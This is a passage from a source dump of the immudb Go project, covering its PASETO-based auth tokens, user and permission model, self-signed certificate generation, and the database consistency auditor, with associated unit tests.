11_000; i++ { tokenKeyPairs.keysPerUser["CharlesDickens"+strconv.Itoa(i)] = keyPair } evictOldTokenKeyPairs() } func TestDropTokenKeysForCtx(t *testing.T) { u := User{ Username: "copperfield", Active: true, } generateKeys("copperfield") token, err := GenerateToken(u, 2, 60) require.NoError(t, err) m := make(map[string][]string) m["authorization"] = []string{token} ctx := metadata.NewIncomingContext(context.Background(), m) js, err := GetLoggedInUser(ctx) require.NoError(t, err) if js.Username != u.Username { t.Errorf("Error GetLoggedInUser usernames do not match") } _, err = DropTokenKeysForCtx(ctx) require.NoError(t, err) } ================================================ FILE: pkg/auth/tokens.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "context" "crypto/ed25519" "encoding/base64" "encoding/json" "errors" "fmt" "strconv" "strings" "time" immuerror "github.com/codenotary/immudb/pkg/errors" "github.com/o1egl/paseto" "github.com/rs/xid" "google.golang.org/grpc/codes" "google.golang.org/grpc/metadata" "google.golang.org/grpc/status" ) var pasetoV2 = paseto.NewV2() const footer = "immudb" // GenerateToken ... func GenerateToken(user User, database int64, expTime int) (string, error) { now := time.Now() keys, ok := getTokenForUser(user.Username) if !ok { if err := generateKeys(user.Username); err != nil { return "", err } keys, ok = getTokenForUser(user.Username) if !ok { return "", errors.New("internal error: missing auth keys") } } else { updateLastTokenGeneratedAt(user.Username) } jsonToken := paseto.JSONToken{ Expiration: now.Add(time.Duration(expTime) * time.Minute), Subject: user.Username, } jsonToken.Set("database", fmt.Sprintf("%d", database)) token, err := pasetoV2.Sign(keys.privateKey, jsonToken, footer) if err != nil { return "", fmt.Errorf("error generating token: %v", err) } go evictOldTokenKeyPairs() return token, nil } // JSONToken ... type JSONToken struct { Username string Expiration time.Time DatabaseIndex int64 } var tokenEncoder = base64.RawURLEncoding // parsePublicTokenPayload parses the public (unencrypted) token payload // works even with expired tokens (that do not pass verification) func parsePublicTokenPayload(token string) (*JSONToken, error) { tokenPieces := strings.Split(token, ".") if len(tokenPieces) < 3 { // version.purpose.payload or version.purpose.payload.footer // see: https://tools.ietf.org/id/draft-paragon-paseto-rfc-00.html#rfc.section.2 return nil, errors.New("malformed token: expected at least 3 pieces") } encodedPayload := []byte(tokenPieces[2]) payload := make([]byte, tokenEncoder.DecodedLen(len(encodedPayload))) if _, err := tokenEncoder.Decode(payload, encodedPayload); err != nil { return nil, fmt.Errorf("error decoding token payload: %v", err) } if len(payload) < ed25519.SignatureSize { return nil, errors.New("malformed token: incorrect token size") } payloadBytes := payload[:len(payload)-ed25519.SignatureSize] var jsonToken paseto.JSONToken if err := json.Unmarshal(payloadBytes, &jsonToken); err != nil { return nil, fmt.Errorf("error unmarshalling token payload json: %v", err) } var index int64 = -1 if p := jsonToken.Get("database"); p != "" { pint, err := strconv.ParseInt(p, 10, 8) if err == nil { index = pint } } return &JSONToken{ Username: jsonToken.Subject, Expiration: jsonToken.Expiration, DatabaseIndex: index, }, nil } func verifyToken(token string) (*JSONToken, error) { tokenPayload, err := parsePublicTokenPayload(token) if err != nil { return nil, err } keys, ok := getTokenForUser(tokenPayload.Username) if !ok { return nil, status.Error( codes.Unauthenticated, "Token data not found") } var jsonToken paseto.JSONToken var footer string if err := pasetoV2.Verify(token, keys.publicKey, &jsonToken, &footer); err != nil { return nil, err } if err := jsonToken.Validate(); err != nil { return nil, err } var index int64 = -1 if p := jsonToken.Get("database"); p != "" { pint, err := strconv.ParseInt(p, 10, 64) if err == nil { index = pint } } return &JSONToken{ Username: jsonToken.Subject, Expiration: jsonToken.Expiration, DatabaseIndex: index, }, nil } func verifyTokenFromCtx(ctx context.Context) (*JSONToken, error) { md, ok := metadata.FromIncomingContext(ctx) if !ok { return nil, ErrNotLoggedIn } authHeader, ok := md["authorization"] if !ok || len(authHeader) < 1 { return nil, ErrNotLoggedIn } token := strings.TrimPrefix(authHeader[0], "Bearer ") if token == "" { return nil, ErrNotLoggedIn } jsonToken, err := verifyToken(token) if err != nil { if strings.HasPrefix(fmt.Sprintf("%s", err), "token has expired") { return nil, err } if st, stOk := status.FromError(err); stOk { if st.Code() == codes.Unauthenticated { return nil, ErrNotLoggedIn } } return nil, immuerror.Wrap(err, "invalid token") } return jsonToken, nil } //NewUUID generate uuid func NewUUID() xid.ID { return xid.New() } //NewStringUUID generate uuid and return as string func NewStringUUID() string { return xid.New().String() } ================================================ FILE: pkg/auth/tokens_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "context" "strings" "testing" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" ) func TestUUID(t *testing.T) { uuid := NewUUID() if len(uuid.Bytes()) == 0 { t.Errorf("NewUUID, error generating uuid") } strUUID := NewStringUUID() if len(strUUID) == 0 { t.Errorf("NewStringUUID, error generating uuid") } } func TestToken(t *testing.T) { u := User{ Username: "immudb", Active: true, } token, err := GenerateToken(u, 2, 60) require.NoError(t, err) if len(token) == 0 { t.Errorf("Error GenerateToken token length equal to zero") } jToken, err := verifyToken(token) require.NoError(t, err) if jToken.Username != u.Username { t.Errorf("Token username error %s", jToken.Username) } if jToken.DatabaseIndex != 2 { t.Errorf("Token DatabaseIndex error %d", jToken.DatabaseIndex) } wrongToken := strings.Replace(token, ".", "", 2) _, err = verifyToken(wrongToken) if err == nil { t.Errorf("verifyToken, failed to catch token error %s", err) } } func TestVerifyFromCtx(t *testing.T) { u := User{ Username: "immudb", Active: true, } token, err := GenerateToken(u, 2, 60) require.NoError(t, err) ctx := context.Background() _, err = verifyTokenFromCtx(ctx) if err == nil { t.Errorf("Error verifyTokenFromCtx on empty context") } m := make(map[string][]string) m["authorization"] = []string{token} newCtx := metadata.NewIncomingContext(ctx, m) js, err := verifyTokenFromCtx(newCtx) require.NoError(t, err) if js.Username != u.Username { t.Errorf("Token username error %s", js.Username) } if js.DatabaseIndex != 2 { t.Errorf("Token DatabaseIndex error %d", js.DatabaseIndex) } wrongToken := strings.Replace(token, ".", "", 2) m = make(map[string][]string) m["authorization"] = []string{wrongToken} newCtx = metadata.NewIncomingContext(ctx, m) _, err = verifyTokenFromCtx(newCtx) if err == nil { t.Errorf("Error verifyTokenFromCtx wrong token") } m = make(map[string][]string) m["authorization"] = []string{} newCtx = metadata.NewIncomingContext(ctx, m) _, err = verifyTokenFromCtx(newCtx) if err == nil { t.Errorf("Error verifyTokenFromCtx empty token") } } ================================================ FILE: pkg/auth/user.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "fmt" "regexp" "time" "github.com/codenotary/immudb/embedded/sql" ) // Permission per database type Permission struct { Permission uint32 `json:"permission"` // permission of type auth.PermissionW Database string `json:"database"` // databases the user has access to } type SQLPrivilege struct { Privilege string `json:"privilege"` // sql privilege Database string `json:"database"` // database to which the privilege applies } // User ... type User struct { Username string `json:"username"` HashedPassword []byte `json:"hashedpassword"` Permissions []Permission `json:"permissions"` SQLPrivileges []SQLPrivilege `json:"sqlPrivileges"` HasPrivileges bool `json:"hasPrivileges"` // needed for backward compatibility Active bool `json:"active"` IsSysAdmin bool `json:"-"` // for the sysadmin we'll use this instead of adding all db and permissions to Permissions, to save some cpu cycles CreatedBy string `json:"createdBy"` // user which created this user CreatedAt time.Time `json:"createdat"` // time in which this user is created/updated } var ( // SysAdminUsername the system admin username SysAdminUsername = "immudb" // SysAdminPassword the admin password (can be default or from command flags, config or env var) SysAdminPassword = SysAdminUsername ) // SetPassword Hashes and salts the password and assigns it to hashedPassword of User func (u *User) SetPassword(plainPassword []byte) ([]byte, error) { if len(plainPassword) == 0 { return nil, fmt.Errorf("password is empty") } hashedPassword, err := HashAndSaltPassword(plainPassword) if err != nil { return nil, err } u.HashedPassword = hashedPassword return plainPassword, nil } // ComparePasswords ... func (u *User) ComparePasswords(plainPassword []byte) error { return ComparePasswords(u.HashedPassword, plainPassword) } const maxUsernameLen = 63 var usernameRegex = regexp.MustCompile(`^[a-zA-Z0-9_]+$`) // IsValidUsername is a function used to check username requirements func IsValidUsername(user string) bool { return len(user) <= maxUsernameLen && usernameRegex.MatchString(user) } // HasPermission checks if user has such permission for this database func (u *User) HasPermission(database string, permission uint32) bool { for _, val := range u.Permissions { if (val.Database == database) && (val.Permission == permission) { return true } } return false } // HasAtLeastOnePermission checks if user has this permission for at least one database func (u *User) HasAtLeastOnePermission(permission uint32) bool { for _, val := range u.Permissions { if val.Permission == permission { return true } } return false } // WhichPermission returns the permission that this user has on this database func (u *User) WhichPermission(database string) uint32 { if u.IsSysAdmin { return PermissionSysAdmin } for _, val := range u.Permissions { if val.Database == database { return val.Permission } } return PermissionNone } // RevokePermission revoke database permission from user func (u *User) RevokePermission(database string) bool { for i, val := range u.Permissions { if val.Database == database { //todo there is a more efficient way to remove elements u.Permissions = append(u.Permissions[:i], u.Permissions[i+1:]...) return true } } return false } // GrantPermission add permission to database func (u *User) GrantPermission(database string, permission uint32) bool { // first remove any previous permission for this db u.RevokePermission(database) perm := Permission{Permission: permission, Database: database} u.Permissions = append(u.Permissions, perm) return true } // GrantSQLPrivilege grants sql privilege on the specified database func (u *User) GrantSQLPrivileges(database string, privileges []string) bool { for _, p := range privileges { if !u.HasSQLPrivilege(database, p) { u.SQLPrivileges = append(u.SQLPrivileges, SQLPrivilege{Database: database, Privilege: p}) } } return false } func (u *User) HasSQLPrivilege(database string, privilege string) bool { return u.indexOfPrivilege(database, privilege) >= 0 } func (u *User) indexOfPrivilege(database string, privilege string) int { for i, p := range u.SQLPrivileges { if p.Database == database && p.Privilege == privilege { return i } } return -1 } // RevokePrivilege add permission to database func (u *User) RevokeSQLPrivileges(database string, privileges []string) bool { for _, p := range privileges { if idx := u.indexOfPrivilege(database, p); idx >= 0 { u.SQLPrivileges[idx] = u.SQLPrivileges[0] u.SQLPrivileges = u.SQLPrivileges[1:] } } return true } // SetSQLPrivileges sets user default privileges. Required to guarantee backward compatibility. func (u *User) SetSQLPrivileges() { if u.HasPrivileges { return } for _, perm := range u.Permissions { privileges := sql.DefaultSQLPrivilegesForPermission(sql.PermissionFromCode(perm.Permission)) for _, privilege := range privileges { u.SQLPrivileges = append(u.SQLPrivileges, SQLPrivilege{ Database: perm.Database, Privilege: string(privilege), }, ) } } } ================================================ FILE: pkg/auth/user_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "bytes" "testing" "github.com/stretchr/testify/require" ) func TestUser(t *testing.T) { weakPassword := []byte("weak_password") u := User{} _, err := u.SetPassword(nil) if err == nil { t.Errorf("Setpassword, fail test empty password") } p, err := u.SetPassword(weakPassword) require.NoError(t, err) if !bytes.Equal(p, weakPassword) { t.Errorf("setpassword plain passwords do not match") } err = u.ComparePasswords(weakPassword) require.NoError(t, err) u.GrantPermission("immudb", PermissionR) perm := u.WhichPermission("immudb") if perm != PermissionR { t.Errorf("WhichPermission fail") } if !u.HasPermission("immudb", PermissionR) { t.Errorf("HasPermission fail") } if !u.HasAtLeastOnePermission(PermissionR) { t.Errorf("HasAtLeastOnePermission fail") } if u.HasPermission("immudb", PermissionAdmin) { t.Errorf("HasPermission failed on wrong permission") } if u.HasAtLeastOnePermission(PermissionAdmin) { t.Errorf("HasAtLeastOnePermission fail") } u.RevokePermission("immudb") perm = u.WhichPermission("immudb") if perm == PermissionR { t.Errorf("RevokePermission fail") } u.IsSysAdmin = true if perm = u.WhichPermission("notimmudb"); perm != PermissionSysAdmin { t.Errorf("WhichPermission sysadmin fail") } } ================================================ FILE: pkg/cert/cert.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cert import ( "crypto/rand" "crypto/rsa" "crypto/x509" "crypto/x509/pkix" "encoding/pem" "fmt" "math/big" "net" "os" "path" "time" ) func GenerateSelfSignedCert(certPath, keyPath string, org string, expiration time.Duration) error { priv, err := rsa.GenerateKey(rand.Reader, 2048) if err != nil { return fmt.Errorf("failed to generate RSA key: %w", err) } notBefore := time.Now() notAfter := notBefore.Add(expiration) serialNumber, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128)) if err != nil { return fmt.Errorf("failed to generate serial number: %w", err) } hostname, err := os.Hostname() if err != nil { return err } ips, err := listIPs() if err != nil { return err } ips = append(ips, net.ParseIP("0.0.0.0")) issuerOrSubject := pkix.Name{ Organization: []string{org}, } template := x509.Certificate{ Issuer: issuerOrSubject, SerialNumber: serialNumber, Subject: issuerOrSubject, DNSNames: []string{"localhost", hostname}, NotBefore: notBefore, NotAfter: notAfter, IPAddresses: ips, KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, } certBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv) if err != nil { return fmt.Errorf("failed to create certificate: %w", err) } if err := os.MkdirAll(path.Dir(certPath), 0755); err != nil { return err } certBytesPem := encodePEM(certBytes, "CERTIFICATE") if err := os.WriteFile(certPath, certBytesPem, 0644); err != nil { return fmt.Errorf("failed to write cert file: %w", err) } privBytes := x509.MarshalPKCS1PrivateKey(priv) privBytesPem := encodePEM(privBytes, "PRIVATE KEY") if err := os.WriteFile(keyPath, privBytesPem, 0600); err != nil { return fmt.Errorf("failed to write key file: %w", err) } return nil } func encodePEM(data []byte, blockType string) []byte { block := &pem.Block{ Type: blockType, Bytes: data, } return pem.EncodeToMemory(block) } func listIPs() ([]net.IP, error) { addresses, err := net.InterfaceAddrs() if err != nil { return nil, err } ips := make([]net.IP, 0, len(addresses)) for _, addr := range addresses { ipNet, ok := addr.(*net.IPNet) if ok { ips = append(ips, ipNet.IP) } } return ips, nil } ================================================ FILE: pkg/client/auditor/auditor.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auditor import ( "bytes" "context" "crypto/ecdsa" "encoding/base64" "encoding/json" "fmt" "io/ioutil" "net/http" "regexp" "strings" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/state" "github.com/codenotary/immudb/pkg/client/timestamp" "github.com/codenotary/immudb/pkg/signer" "github.com/golang/protobuf/ptypes/empty" "google.golang.org/grpc" "google.golang.org/grpc/metadata" "google.golang.org/protobuf/types/known/emptypb" ) // Auditor the auditor interface type Auditor interface { Run(interval time.Duration, singleRun bool, stopc <-chan struct{}, donec chan<- struct{}) error } // AuditNotificationConfig holds the URL and credentials used to publish audit // result to ledger compliance. type AuditNotificationConfig struct { URL string Username string Password string RequestTimeout time.Duration PublishFunc func(*http.Request) (*http.Response, error) } type defaultAuditor struct { index uint64 databaseIndex int logger logger.Logger serverAddress string dialOptions []grpc.DialOption history cache.HistoryCache ts client.TimestampService username []byte databases []string password []byte auditDatabases []string serverSigningPubKey *ecdsa.PublicKey notificationConfig AuditNotificationConfig serviceClient schema.ImmuServiceClient uuidProvider state.UUIDProvider slugifyRegExp *regexp.Regexp updateMetrics func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) monitoringHTTPAddr *string } // DefaultAuditor creates initializes a default auditor implementation func DefaultAuditor( interval time.Duration, serverAddress string, dialOptions []grpc.DialOption, username string, passwordBase64 string, auditDatabases []string, serverSigningPubKey *ecdsa.PublicKey, notificationConfig AuditNotificationConfig, serviceClient schema.ImmuServiceClient, uuidProvider state.UUIDProvider, history cache.HistoryCache, updateMetrics func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState), log logger.Logger, monitoringHTTPAddr *string) (Auditor, error) { password, err := auth.DecodeBase64Password(passwordBase64) if err != nil { return nil, err } dt, _ := timestamp.NewDefaultTimestamp() slugifyRegExp, _ := regexp.Compile(`[^a-zA-Z0-9\-_]+`) httpClient := &http.Client{Timeout: notificationConfig.RequestTimeout} notificationConfig.PublishFunc = httpClient.Do return &defaultAuditor{ 0, 0, log, serverAddress, dialOptions, history, client.NewTimestampService(dt), []byte(username), nil, []byte(password), auditDatabases, serverSigningPubKey, notificationConfig, serviceClient, uuidProvider, slugifyRegExp, updateMetrics, monitoringHTTPAddr, }, nil } func (a *defaultAuditor) Run( interval time.Duration, singleRun bool, stopc <-chan struct{}, donec chan<- struct{}, ) (err error) { defer func() { donec <- struct{}{} }() a.logger.Infof("starting auditor with a %s interval ...", interval) if singleRun { err = a.audit() } else { // start monitoring HTTP server var monitoringServer *http.Server if a.monitoringHTTPAddr != nil { a.logger.Infof("auditor monitoring HTTP server starting on %s ...", *a.monitoringHTTPAddr) go func() { monitoringServer = StartHTTPServerForMonitoring( *a.monitoringHTTPAddr, func(httpServer *http.Server) error { return httpServer.ListenAndServe() }, a.logger, a.serviceClient) }() } defer func() { if monitoringServer != nil { a.logger.Debugf("auditor monitoring HTTP server stopped") monitoringServer.Close() } }() err = repeat(interval, stopc, a.audit) if err != nil { return err } } a.logger.Infof("auditor stopped") return err } func (a *defaultAuditor) audit() error { start := time.Now() a.index++ a.logger.Infof("audit #%d started @ %s", a.index, start) verified := true checked := false withError := false serverID := "unknown" var prevState *schema.ImmutableState var state *schema.ImmutableState defer func() { a.updateMetrics( serverID, a.serverAddress, checked, withError, verified, prevState, state) }() // returning an error would completely stop the auditor process var noErr error ctx := context.Background() loginResponse, err := a.serviceClient.Login(ctx, &schema.LoginRequest{ User: a.username, Password: a.password, }) if err != nil { a.logger.Errorf("error logging in with user %s: %v", a.username, err) withError = true return noErr } defer a.serviceClient.Logout(ctx, &empty.Empty{}) md := metadata.Pairs("authorization", loginResponse.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) //check if we have cycled through the list of databases if a.databaseIndex == len(a.databases) { //if we have reached the end get a fresh list of dbs that belong to the user dbs, err := a.serviceClient.DatabaseList(ctx, &emptypb.Empty{}) if err != nil { a.logger.Errorf("error getting a list of databases %v", err) withError = true return noErr } a.databases = nil for _, db := range dbs.Databases { dbMustBeAudited := len(a.auditDatabases) <= 0 for _, dbPrefix := range a.auditDatabases { if strings.HasPrefix(db.DatabaseName, dbPrefix) { dbMustBeAudited = true break } } if dbMustBeAudited { a.databases = append(a.databases, db.DatabaseName) } } a.databaseIndex = 0 if len(a.databases) <= 0 { a.logger.Errorf("audit #%d aborted: no databases to audit found after (re)loading the list of databases", a.index) withError = true return noErr } a.logger.Infof("audit #%d - list of databases to audit has been (re)loaded - %d database(s) found: %v", a.index, len(a.databases), a.databases) } dbName := a.databases[a.databaseIndex] resp, err := a.serviceClient.UseDatabase(ctx, &schema.Database{ DatabaseName: dbName, }) if err != nil { a.logger.Errorf("error selecting database %s: %v", dbName, err) withError = true return noErr } md = metadata.Pairs("authorization", resp.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) a.logger.Infof("audit #%d - auditing database %s\n", a.index, dbName) a.databaseIndex++ state, err = a.serviceClient.CurrentState(ctx, &empty.Empty{}) if err != nil { a.logger.Errorf("error getting current state: %v", err) withError = true return noErr } if err := a.verifyStateSignature(serverID, state); err != nil { a.logger.Errorf("audit #%d aborted: %v", a.index, err) withError = true return noErr } isEmptyDB := state.TxId == 0 serverID = a.getServerID(ctx) prevState, err = a.history.Get(serverID, dbName) if err != nil { a.logger.Errorf(err.Error()) withError = true return noErr } if prevState != nil { if isEmptyDB { a.logger.Errorf("audit #%d aborted: database is empty on server %s @ %s, but locally a previous state exists with hash %x at id %d", a.index, serverID, a.serverAddress, prevState.TxHash, prevState.TxId) withError = true return noErr } vtx, err := a.serviceClient.VerifiableTxById(ctx, &schema.VerifiableTxRequest{ Tx: state.TxId, ProveSinceTx: prevState.TxId, }) if err != nil { a.logger.Errorf("error fetching consistency proof for previous state %d: %v", prevState.TxId, err) withError = true return noErr } dualProof := schema.DualProofFromProto(vtx.DualProof) err = schema.FillMissingLinearAdvanceProof(ctx, dualProof, prevState.TxId, state.TxId, a.serviceClient) if err != nil { a.logger.Errorf("error fetching consistency proof for previous state %d: %v", prevState.TxId, err) withError = true return noErr } verified = store.VerifyDualProof(dualProof, prevState.TxId, state.TxId, schema.DigestFromProto(prevState.TxHash), schema.DigestFromProto(state.TxHash)) a.logger.Infof("audit #%d result:\n db: %s, consistent: %t previous state: %x at tx: %d\n current state: %x at tx: %d", a.index, dbName, verified, prevState.TxHash, prevState.TxId, state.TxHash, state.TxId) checked = true // publish audit notification if len(a.notificationConfig.URL) > 0 { err := a.publishAuditNotification( dbName, time.Now(), !verified, &State{ Tx: prevState.TxId, Hash: base64.StdEncoding.EncodeToString(prevState.TxHash), Signature: Signature{ Signature: base64.StdEncoding.EncodeToString(prevState.GetSignature().GetSignature()), PublicKey: base64.StdEncoding.EncodeToString(prevState.GetSignature().GetPublicKey()), }, }, &State{ Tx: state.TxId, Hash: base64.StdEncoding.EncodeToString(state.TxHash), Signature: Signature{ Signature: base64.StdEncoding.EncodeToString(state.GetSignature().GetSignature()), PublicKey: base64.StdEncoding.EncodeToString(state.GetSignature().GetPublicKey()), }, }, ) if err != nil { a.logger.Errorf("error publishing audit notification for db %s: %v", dbName, err) } else { a.logger.Infof("audit notification for db %s has been published at %s", dbName, a.notificationConfig.URL) } } } else if isEmptyDB { a.logger.Warningf("audit #%d canceled: database is empty on server %s @ %s", a.index, serverID, a.serverAddress) return noErr } if !verified { a.logger.Warningf("audit #%d detected possible tampering of db %s remote state (at id %d) "+ "so it will not overwrite the previous local state (at id %d)", a.index, dbName, state.TxId, prevState.TxId) } else if prevState == nil || state.TxId != prevState.TxId { if err := a.history.Set(serverID, dbName, state); err != nil { a.logger.Errorf(err.Error()) return noErr } } a.logger.Infof("audit #%d finished in %s @ %s", a.index, time.Since(start), time.Now().Format(time.RFC3339Nano)) return noErr } func (a *defaultAuditor) verifyStateSignature(serverID string, serverState *schema.ImmutableState) error { if a.serverSigningPubKey != nil && serverState.GetSignature() == nil { return fmt.Errorf("a server signing public key has been specified for the auditor, but the state %s at TX %d received from server %s @ %s is not signed", serverState.GetTxHash(), serverState.GetTxId(), serverID, a.serverAddress) } if serverState.GetSignature() != nil { pk := a.serverSigningPubKey if pk == nil { a.logger.Warningf("server signature will be verified using untrusted public key (embedded in the server state payload) " + "- for better security please configure a public key for the auditor process") var err error pk, err = signer.UnmarshalKey(serverState.GetSignature().GetPublicKey()) if err != nil { return fmt.Errorf("failed to verify signature for state %s at TX %d received from server %s @ %s: "+ "error unmarshaling the public key embedded in the server state payload: %w", serverState.GetTxHash(), serverState.GetTxId(), serverID, a.serverAddress, err) } } if err := serverState.CheckSignature(pk); err != nil { return fmt.Errorf("failed to verify signature for state %s at TX %d received from server %s @ %s: verification error: %v", serverState.GetTxHash(), serverState.GetTxId(), serverID, a.serverAddress, err) } } return nil } // Signature ... type Signature struct { Signature string `json:"signature"` PublicKey string `json:"public_key"` } // State ... type State struct { Tx uint64 `json:"tx" validate:"required"` Hash string `json:"hash" validate:"required"` Signature Signature `json:"signature" validate:"required"` } // AuditNotificationRequest ... type AuditNotificationRequest struct { Username string `json:"username" validate:"required"` Password string `json:"password" validate:"required"` DB string `json:"db" validate:"required"` RunAt time.Time `json:"run_at" validate:"required" example:"2020-11-13T00:53:42+01:00"` Tampered bool `json:"tampered"` PreviousState *State `json:"previous_state"` CurrentState *State `json:"current_state"` } func (a *defaultAuditor) publishAuditNotification( db string, runAt time.Time, tampered bool, prevState *State, currState *State) error { payload := AuditNotificationRequest{ Username: a.notificationConfig.Username, Password: a.notificationConfig.Password, DB: db, RunAt: runAt, Tampered: tampered, PreviousState: prevState, CurrentState: currState, } reqBody, err := json.Marshal(payload) if err != nil { return err } req, err := http.NewRequest("POST", a.notificationConfig.URL, bytes.NewBuffer(reqBody)) if err != nil { return err } req.Header.Set("Content-Type", "application/json") resp, err := a.notificationConfig.PublishFunc(req) if err != nil { return err } defer resp.Body.Close() payload.Password = "" switch resp.StatusCode { case http.StatusOK, http.StatusCreated, http.StatusAccepted, http.StatusNoContent: default: respBody, _ := ioutil.ReadAll(resp.Body) return fmt.Errorf( "POST %s request with payload %+v: got unexpected response status %s with response body %s", a.notificationConfig.URL, payload, resp.Status, respBody) } return nil } func (a *defaultAuditor) getServerID(ctx context.Context) string { serverID, err := a.uuidProvider.CurrentUUID(ctx) if err != nil { if err != state.ErrNoServerUuid { a.logger.Errorf("error getting server UUID: %v", err) } else { a.logger.Warningf(err.Error()) } } if serverID == "" { serverID = strings.ReplaceAll(strings.ReplaceAll(a.serverAddress, ".", "-"), ":", "_") serverID = a.slugifyRegExp.ReplaceAllString(serverID, "") a.logger.Debugf("the current immudb server @ %s will be identified as %s", a.serverAddress, serverID) } return serverID } // repeat executes f every interval until stopc is closed or f returns an error. // It executes f once right after being called. func repeat(interval time.Duration, stopc <-chan struct{}, f func() error) error { tick := time.NewTicker(interval) defer tick.Stop() for { if err := f(); err != nil { return err } select { case <-stopc: return nil case <-tick.C: } } } ================================================ FILE: pkg/client/auditor/auditor_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auditor import ( "context" "crypto/ecdsa" "errors" "fmt" "io/ioutil" "net/http" "os" "strings" "testing" "time" "github.com/codenotary/immudb/pkg/signer" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/codenotary/immudb/pkg/client/state" "github.com/golang/protobuf/ptypes/empty" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" ) var dirname = "./test" func TestDefaultAuditor(t *testing.T) { defer os.RemoveAll(dirname) da, err := DefaultAuditor( time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{}, "immudb", "immudb", nil, nil, AuditNotificationConfig{}, nil, nil, cache.NewHistoryFileCache(dirname), func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, logger.NewSimpleLogger("test", os.Stdout), nil) require.NoError(t, err) require.IsType(t, &defaultAuditor{}, da) } type writerMock struct { written []string } func (wm *writerMock) Write(bs []byte) (n int, err error) { wm.written = append(wm.written, string(bs)) return len(bs), nil } func TestDefaultAuditorPasswordDecodeErr(t *testing.T) { defer os.RemoveAll(dirname) _, err := DefaultAuditor( time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{}, "immudb", "enc:"+string([]byte{0}), nil, nil, AuditNotificationConfig{}, nil, nil, cache.NewHistoryFileCache(dirname), func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, logger.NewSimpleLogger("test", os.Stdout), nil) require.ErrorContains(t, err, "illegal base64 data at input byte 0") } func TestDefaultAuditorLoginErr(t *testing.T) { defer os.RemoveAll(dirname) serviceClient := clienttest.ImmuServiceClientMock{ LoginF: func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) { return nil, errors.New("some login error") }, LogoutF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { return new(empty.Empty), nil }, } wm := writerMock{} auditor, err := DefaultAuditor( time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{ grpc.WithTransportCredentials(insecure.NewCredentials()), }, "immudb", "immudb", nil, nil, AuditNotificationConfig{}, &serviceClient, state.NewUUIDProvider(&serviceClient), cache.NewHistoryFileCache(dirname), func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, 